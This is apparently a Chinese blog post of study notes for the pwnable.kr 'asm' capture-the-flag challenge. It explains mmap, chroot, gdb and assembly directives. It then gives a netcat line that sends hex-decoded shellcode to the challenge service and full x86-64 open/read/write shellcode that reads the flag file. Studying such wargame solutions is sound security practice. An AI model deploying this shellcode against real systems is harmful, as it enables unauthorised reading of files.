pwnable.k asm 知识点总结

1.mmap 创建新的内存虚拟区域

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

start: 新的虚拟内存区域最好是从start 开始的一个区域

length: 连续的对象片的大小为length 字节

offset:从据文件开始处偏移量为offset字节的地方开始

prot:包含描述新映射的虚拟内存区域的访问权限位(即在相应区域节后中的vm_prot位)
1.PROT_EXEC这个区域内的页面有可以被CPU执行的指令组成
2.PROT_READ:这个区域的页面可读
3.PROT_WRITE:这个区域内的页面可写
4.PROT_NONO:这个区域的页面不能被访问

flags:由描述被映射对象类型的位组成。如果设置了MAP_ANON标记位,那么被映射的对象就是一个匿名对象,而相应的虚拟页面是请求二进制零的。
MAP_PRIVATE表示被映射的对象是一个私有的、写时复制的对象,而MAP_SHARED表示时一个共享对象

off_set:SUSv3 规定mmap() 的offset参数必须要与分页对齐,而addr(start)参数在指定了MAP_FIXED情况下也必须要与分页对齐。如果指定了MAP_FIXED并且addr为非零值,那么addroffset 除以系统分页大小所得的余数应该
相等

匿名文件映射:匿名映射时没有对应文件的一种映射在flags中指定MAP_ANONYMOUS 并将fd 指定为-1

fd和offset 是用于文件映射的,匿名映射将忽略它们

  1. chroot
    每个进程都有一个根目录,该目录是解释绝对路径(即哪些以/开始的目录)时的起点,默认情况下,这是文件系统的真是目录。(新进程从其父进程处继承根目录。)有些场合需要改变一个进程的根目录,而特权级(CAP_SYS_CHROOT)进程通过chroot()系统调用能够做到这一点。
#define _BSD_SOURCE
#include <unistd.h>
int chroot(const char *pathname);

chroot()系统调用将进程的根目录改为由pathname指定的目录(如果pathname时符号链接,还将对其解引用)。自此,对所有绝对路径名的解释都将以该文件系统的这一位置作为起点。鉴于这会将应用程序限定于文件系统的特定区域,有时也将此称为设立了一个chroot监禁区。

  1. (gdb) x/gx $rsp
    gx 待变数值用64位16进制显示

4.汇编指令中equ 指令 相当于C语言的#define
例如:
COUNT EQU 100;令COUNT的值为100,存储器中为变量分配 0个字节
COUNT DB 100 ;令COUNT的值为100,存储器中为变量分配 1个字节
COUNT DW 100 ;令COUNT的值为100,存储器中为变量分配 2个字节

5.$ 在汇编指令中代表当前地址
count EQU $-ARRA 定义了一个常量,不占用内存单元,代码段中使用它,等价于使用一个立即数。

6.python -c 'print “shellcode…”.decode(“hex”) ’ | nc 0 9026

7.提取pwntools生成的64位open,read,write 系统调用汇编代码

section .text
	global main
main:
/* push 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very
_looooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooo
oooooooooooooooo00000000000000000000000
00ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x676e6f306f306f
    xor [rsp], rax
    mov rax, 0x306f306f306f306f
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x303030306f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f3030303030
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x303030306f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6c5f797265765f73
    push rax
    mov rax, 0x695f656d616e5f65
    push rax
    mov rax, 0x6c69665f6568745f
    push rax
    mov rax, 0x7972726f732e656c
    push rax
    mov rax, 0x69665f736968745f
    push rax
    mov rax, 0x646165725f657361
    push rax
    mov rax, 0x656c705f656c6966
    push rax
    mov rax, 0x5f67616c665f726b
    push rax
    mov rax, 0x2e656c62616e7770
    push rax
    mov rax, 0x5f73695f73696874
    push rax
open:
	/* open(file='rsp', oflag=0, mode=0)*/ 
	mov rdi, rsp  
    xor edx, edx
    xor esi, esi
    push SYS_open
    pop rax    
    syscall
    
read:
   /*call read('rax', 'rsp', 100)*/ 
    mov rdi, rax
    xor eax, eax /* SYS_read */
    push 0x64
    pop rdx
    mov rsi, rsp
    syscall

write:
    /* write(fd=1, buf='rsp', n=100) */
    push 1
    pop rdi
    push 0x64
    pop rdx
    mov rsi, rsp
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值